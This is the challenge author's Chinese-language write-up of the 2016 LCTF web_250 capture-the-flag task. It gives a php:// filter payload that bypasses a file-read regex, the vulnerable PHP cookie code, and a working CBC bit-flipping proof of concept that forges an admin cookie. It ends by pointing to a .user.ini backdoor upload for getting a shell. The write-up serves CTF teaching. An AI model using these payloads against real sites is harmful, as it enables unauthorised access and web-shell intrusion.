2016-LCTF web_250

lctf一题

web_250–苏打学姐的网站

这个题目一共有三个步骤。

  • 首先是文件读取,有一点小坑,当时放题想过要不要把后台正则匹配的代码提示出来,但是看到几个师傅秒过就算了,(源码末尾打包)
  • 然后就是一个常规的CBC翻转,ctf也出现过。
  • 最后是一个上传,比较实战的一个点,使用.user.ini文件构成的PHP后门getshell。最有意思的就是尽量想办法防止文件被改或者删除等,毕竟要getshell,权限限制,再加上ph师傅说的-i隐藏属性各种限制,以及各位大佬的照顾和捧场,使最后题目没出乱子,谢谢大家。还是有一点失误的,记的flappypig的web牛直接使用php文件把flag读到网页访问,这样的话导致其他队伍去的话可以直接访问到flag了(感谢师傅马上上传覆盖解决这个尴尬)。so姿势水平还要加强。

首先打开几个图片可以知道是文件包含,也给了tips提示,tips:file/tips.txt、但是直接访问是403,使用img.php直接img.php?id=file/tips.txt读取不到的,必须是有jpg,还使用正则简单限制了php://xxxxxxxxx/resource=形式的读取,后台代码:

所以payload:
img.php?id=php://xxxxxxxxx/resource=file/1.jpg/resource=file/tips.txt
可以读到,代码还给返回头加了image/jpg,火狐浏览器直接解析是看不到,可以使用google或者curl命令也行。

得到后台,随便同方法看看admin.php.txt源码,知道是一个cbc翻转改变cookie,
参考以前wooyun文章,各位可以网上搜索一下。
打开/admin_5080e75b2fe1fb62ff8d9d97db745120首页


主要代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
$Key = "xxxxxxxxxxxxxxxxx";
$iv = "xxxxxxxxxxxxxxxx";
$v = "2016niandiqijiequanguowangluoanquandasai0123456789abcdef-->xdctfxdnum=2015auid=4;xdctfxdctf";
$en_Result = mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$Key, $v, MCRYPT_MODE_CBC, $iv);
$enc = base64_encode($en_Result);
$en_Data = base64_decode($_COOKIE[user]);
$de_Result = mcrypt_decrypt(MCRYPT_RIJNDAEL_128,$Key, $en_Data, MCRYPT_MODE_CBC, $iv);
$b = array();
$b = isset($_COOKIE[user])?$de_Result:$enc;
$num1 = substr($b,strpos($b,"uid")+4,1);
$num2 = substr($b,strpos($b,"num")+4,4);
echo '</br><h3>ID: '.$num1."</h3><br>";
if ($num1 == 1 && $num2 == 2016){
die ("shen mi li wu !");
}
else{
echo "HELLO CLIENT";
}
setcookie("user",$enc);
?>

需要改变的是2015的5uid=4的4,分别对应63和57位,

poc:

1
2
3
4
5
6
7
8
9
10
<?php
$enc = "dSaWGkNVh2MADjPscqdId/25Y68VaL+Ze6rYSCUHvvDV7MnbDs6fHcibGemmyMoyfHa9cXJ7DHU8Wd/DZqyNfLQ5dDs9wVDIllMKnIQilJunP9hpJ3CYFayOF0vbiqhM";
$enc = base64_decode($enc);
$enc[63] = chr(ord($enc[63]) ^ ord("4") ^ ord ("1"));
$enc[57] = chr(ord($enc[57]) ^ ord("5") ^ ord ("6"));
$c = base64_encode($enc);
$d = urlencode($c);
echo $d;
?>

替换cookie可以跳转到上传界面,fuzzing可以上传ini,
不多说直接一篇文章搞定:http://404.so/7945.html
getshell。得到flag

web源码:http://pan.baidu.com/s/1kV6mRbD pass:wul3